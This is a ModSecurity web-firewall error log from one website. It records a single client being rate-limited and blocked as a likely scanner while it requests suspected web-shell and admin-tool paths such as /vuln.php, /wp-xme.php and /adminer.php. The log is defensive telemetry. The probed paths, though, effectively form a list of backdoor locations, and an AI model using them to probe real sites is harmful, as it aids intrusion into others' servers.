[Sun May 03 05:33:22.717751 2026] [:error] [pid 40639:tid 40704] [client 172.173.121.85:30286] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vuln.php"] [unique_id "afZtoq9rkyoICq7qxvFkPwAAAIM"]
[Sun May 03 05:33:23.142757 2026] [:error] [pid 21934:tid 21952] [client 172.173.121.85:30232] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vuln.php"] [unique_id "afZto3WfIjnWjXCxeM4qoQAAARA"]
[Sun May 03 05:33:23.548372 2026] [:error] [pid 21934:tid 21938] [client 172.173.121.85:30225] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vuln.php"] [unique_id "afZto3WfIjnWjXCxeM4qowAAAQI"]
[Sun May 03 05:33:23.951857 2026] [:error] [pid 40639:tid 40710] [client 172.173.121.85:30282] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-temp.php"] [unique_id "afZto69rkyoICq7qxvFkQQAAAIk"]
[Sun May 03 05:33:24.391126 2026] [:error] [pid 40639:tid 40722] [client 172.173.121.85:30236] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-temp.php"] [unique_id "afZtpK9rkyoICq7qxvFkRAAAAJU"]
[Sun May 03 05:33:24.876973 2026] [:error] [pid 40639:tid 40703] [client 172.173.121.85:6087] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-temp.php"] [unique_id "afZtpK9rkyoICq7qxvFkSAAAAII"]
[Sun May 03 05:33:26.271492 2026] [:error] [pid 40639:tid 40725] [client 172.173.121.85:30316] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-temp.php"] [unique_id "afZtpq9rkyoICq7qxvFkTgAAAJg"]
[Sun May 03 05:33:26.686825 2026] [:error] [pid 40732:tid 40749] [client 172.173.121.85:30231] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sxdfrt.php"] [unique_id "afZtpv1lQrIvlEdzcVcUrQAAAMU"]
[Sun May 03 05:33:27.090907 2026] [:error] [pid 40638:tid 40693] [client 172.173.121.85:30210] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sxdfrt.php"] [unique_id "afZtp_h3VcFjJ7H1mBaolwAAAFM"]
[Sun May 03 05:33:27.481037 2026] [:error] [pid 40639:tid 40717] [client 172.173.121.85:30274] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sxdfrt.php"] [unique_id "afZtp69rkyoICq7qxvFkUgAAAJA"]
[Sun May 03 05:33:27.890318 2026] [:error] [pid 40639:tid 40716] [client 172.173.121.85:30298] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sxdfrt.php"] [unique_id "afZtp69rkyoICq7qxvFkVAAAAI8"]
[Sun May 03 05:33:28.341189 2026] [:error] [pid 21934:tid 21956] [client 172.173.121.85:30246] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "afZtqHWfIjnWjXCxeM4qqwAAARQ"]
[Sun May 03 05:33:28.919790 2026] [:error] [pid 40732:tid 40745] [client 172.173.121.85:30284] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "afZtqP1lQrIvlEdzcVcUrwAAAME"]
[Sun May 03 05:33:29.306326 2026] [:error] [pid 40639:tid 40723] [client 172.173.121.85:6112] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "afZtqa9rkyoICq7qxvFkVwAAAJY"]
[Sun May 03 05:33:29.692101 2026] [:error] [pid 21934:tid 21938] [client 172.173.121.85:30327] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "afZtqXWfIjnWjXCxeM4qrwAAAQI"]
[Sun May 03 05:33:30.109420 2026] [:error] [pid 40639:tid 40711] [client 172.173.121.85:30329] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "afZtqq9rkyoICq7qxvFkWwAAAIo"]
[Sun May 03 05:33:30.649960 2026] [:error] [pid 40637:tid 40662] [client 172.173.121.85:30312] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "afZtqpB-U30YNJ6CyVg8xwAAAA8"]
[Sun May 03 05:33:31.058155 2026] [:error] [pid 40639:tid 40706] [client 172.173.121.85:30221] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "afZtq69rkyoICq7qxvFkXwAAAIU"]
[Sun May 03 05:33:31.486097 2026] [:error] [pid 40638:tid 40679] [client 172.173.121.85:30289] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "afZtq_h3VcFjJ7H1mBaoqgAAAEU"]
[Sun May 03 05:33:31.935923 2026] [:error] [pid 21934:tid 21944] [client 172.173.121.85:30258] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class-bda.php"] [unique_id "afZtq3WfIjnWjXCxeM4qtQAAAQg"]
[Sun May 03 05:33:32.395512 2026] [:error] [pid 21934:tid 21951] [client 172.173.121.85:30334] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class-bda.php"] [unique_id "afZtrHWfIjnWjXCxeM4quAAAAQ8"]
[Sun May 03 05:33:32.836774 2026] [:error] [pid 21934:tid 21952] [client 172.173.121.85:30227] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class-bda.php"] [unique_id "afZtrHWfIjnWjXCxeM4qvQAAARA"]
[Sun May 03 05:33:33.305423 2026] [:error] [pid 40639:tid 40722] [client 172.173.121.85:30314] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class-bda.php"] [unique_id "afZtra9rkyoICq7qxvFkYQAAAJU"]
[Sun May 03 05:33:33.710597 2026] [:error] [pid 40638:tid 40686] [client 172.173.121.85:30290] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bhm.php"] [unique_id "afZtrfh3VcFjJ7H1mBaorgAAAEw"]
[Sun May 03 05:33:34.130611 2026] [:error] [pid 21934:tid 21953] [client 172.173.121.85:30292] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bhm.php"] [unique_id "afZtrnWfIjnWjXCxeM4qwgAAARE"]
[Sun May 03 05:33:34.648582 2026] [:error] [pid 21934:tid 21956] [client 172.173.121.85:30291] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bhm.php"] [unique_id "afZtrnWfIjnWjXCxeM4qxQAAARQ"]
[Sun May 03 05:33:35.033626 2026] [:error] [pid 40732:tid 40754] [client 172.173.121.85:30255] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bhm.php"] [unique_id "afZtr_1lQrIvlEdzcVcUsQAAAMo"]
[Sun May 03 05:33:35.461685 2026] [:error] [pid 40638:tid 40698] [client 172.173.121.85:30332] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xmu.php"] [unique_id "afZtr_h3VcFjJ7H1mBaosgAAAFg"]
[Sun May 03 05:33:36.012495 2026] [:error] [pid 21934:tid 21947] [client 172.173.121.85:6102] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xmu.php"] [unique_id "afZtsHWfIjnWjXCxeM4qyQAAAQs"]
[Sun May 03 05:33:36.457101 2026] [:error] [pid 40732:tid 40765] [client 172.173.121.85:30305] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xmu.php"] [unique_id "afZtsP1lQrIvlEdzcVcUswAAANU"]
[Sun May 03 05:33:36.861483 2026] [:error] [pid 40637:tid 40653] [client 172.173.121.85:30304] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xmu.php"] [unique_id "afZtsJB-U30YNJ6CyVg8ywAAAAY"]
[Sun May 03 05:33:37.290140 2026] [:error] [pid 21934:tid 21952] [client 172.173.121.85:30328] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ref.php"] [unique_id "afZtsXWfIjnWjXCxeM4qygAAARA"]
[Sun May 03 05:33:37.717326 2026] [:error] [pid 40732:tid 40752] [client 172.173.121.85:30319] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ref.php"] [unique_id "afZtsf1lQrIvlEdzcVcUvQAAAMg"]
[Sun May 03 05:33:38.173754 2026] [:error] [pid 21934:tid 21956] [client 172.173.121.85:30275] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ref.php"] [unique_id "afZtsnWfIjnWjXCxeM4q0AAAARQ"]
[Sun May 03 05:33:38.584129 2026] [:error] [pid 40639:tid 40712] [client 172.173.121.85:30215] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ref.php"] [unique_id "afZtsq9rkyoICq7qxvFkbAAAAIs"]
[Sun May 03 05:33:39.002728 2026] [:error] [pid 21934:tid 21951] [client 172.173.121.85:30277] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-xme.php"] [unique_id "afZts3WfIjnWjXCxeM4q0wAAAQ8"]
[Sun May 03 05:33:39.476039 2026] [:error] [pid 40637:tid 40661] [client 172.173.121.85:30233] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-xme.php"] [unique_id "afZts5B-U30YNJ6CyVg8zQAAAA4"]
[Sun May 03 05:33:39.924296 2026] [:error] [pid 40639:tid 40705] [client 172.173.121.85:30267] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-xme.php"] [unique_id "afZts69rkyoICq7qxvFkbgAAAIQ"]
[Sun May 03 05:33:40.378768 2026] [:error] [pid 21934:tid 21959] [client 172.173.121.85:5696] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-xme.php"] [unique_id "afZttHWfIjnWjXCxeM4q2gAAARc"]
[Sun May 03 05:33:40.784090 2026] [:error] [pid 40732:tid 40745] [client 172.173.121.85:30214] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/adminer.php"] [unique_id "afZttP1lQrIvlEdzcVcUwwAAAME"]
[Sun May 03 05:33:41.183038 2026] [:error] [pid 40732:tid 40754] [client 172.173.121.85:30310] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/adminer.php"] [unique_id "afZttf1lQrIvlEdzcVcUxQAAAMo"]
[Sun May 03 05:33:42.721009 2026] [:error] [pid 40732:tid 40761] [client 172.173.121.85:30243] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/adminer.php"] [unique_id "afZttv1lQrIvlEdzcVcUywAAANE"]
[Sun May 03 05:33:43.332331 2026] [:error] [pid 21934:tid 21943] [client 172.173.121.85:6098] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/adminer.php"] [unique_id "afZtt3WfIjnWjXCxeM4q3wAAAQc"]
[Sun May 03 05:33:44.004274 2026] [:error] [pid 40732:tid 40749] [client 172.173.121.85:6093] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ktfow.php"] [unique_id "afZtuP1lQrIvlEdzcVcU0QAAAMU"]
[Sun May 03 05:33:44.613937 2026] [:error] [pid 40732:tid 40754] [client 172.173.121.85:30315] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ktfow.php"] [unique_id "afZtuP1lQrIvlEdzcVcU1AAAAMo"]
[Sun May 03 05:33:45.231436 2026] [:error] [pid 40732:tid 40761] [client 172.173.121.85:30237] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ktfow.php"] [unique_id "afZtuf1lQrIvlEdzcVcU1wAAANE"]
[Sun May 03 05:33:45.768597 2026] [:error] [pid 21934:tid 21941] [client 172.173.121.85:30321] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ktfow.php"] [unique_id "afZtuXWfIjnWjXCxeM4q5gAAAQU"]
[Sun May 03 05:33:46.469285 2026] [:error] [pid 21934:tid 21943] [client 172.173.121.85:30212] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mode.php"] [unique_id "afZtunWfIjnWjXCxeM4q6wAAAQc"]
[Sun May 03 05:33:46.959007 2026] [:error] [pid 21934:tid 21954] [client 172.173.121.85:30256] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mode.php"] [unique_id "afZtunWfIjnWjXCxeM4q8AAAARI"]
[Sun May 03 05:33:47.564275 2026] [:error] [pid 21934:tid 21945] [client 172.173.121.85:30301] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mode.php"] [unique_id "afZtu3WfIjnWjXCxeM4q-AAAAQk"]
[Sun May 03 05:33:48.352796 2026] [:error] [pid 40732:tid 40767] [client 172.173.121.85:30280] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mode.php"] [unique_id "afZtvP1lQrIvlEdzcVcU6AAAANc"]
[Sun May 03 05:33:48.842355 2026] [:error] [pid 40732:tid 40745] [client 172.173.121.85:30283] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Xx.php"] [unique_id "afZtvP1lQrIvlEdzcVcU7AAAAME"]
[Sun May 03 05:33:49.473712 2026] [:error] [pid 21934:tid 21952] [client 172.173.121.85:30308] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Xx.php"] [unique_id "afZtvXWfIjnWjXCxeM4q_gAAARA"]
[Sun May 03 05:33:50.390693 2026] [:error] [pid 40638:tid 40692] [client 172.173.121.85:30335] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Xx.php"] [unique_id "afZtvvh3VcFjJ7H1mBaouwAAAFI"]
[Sun May 03 05:33:51.299574 2026] [:error] [pid 40638:tid 40698] [client 172.173.121.85:30261] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Xx.php"] [unique_id "afZtv_h3VcFjJ7H1mBaovAAAAFg"]
[Sun May 03 05:33:51.928778 2026] [:error] [pid 40637:tid 40663] [client 172.173.121.85:30276] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xmini.php"] [unique_id "afZtv5B-U30YNJ6CyVg82gAAABA"]
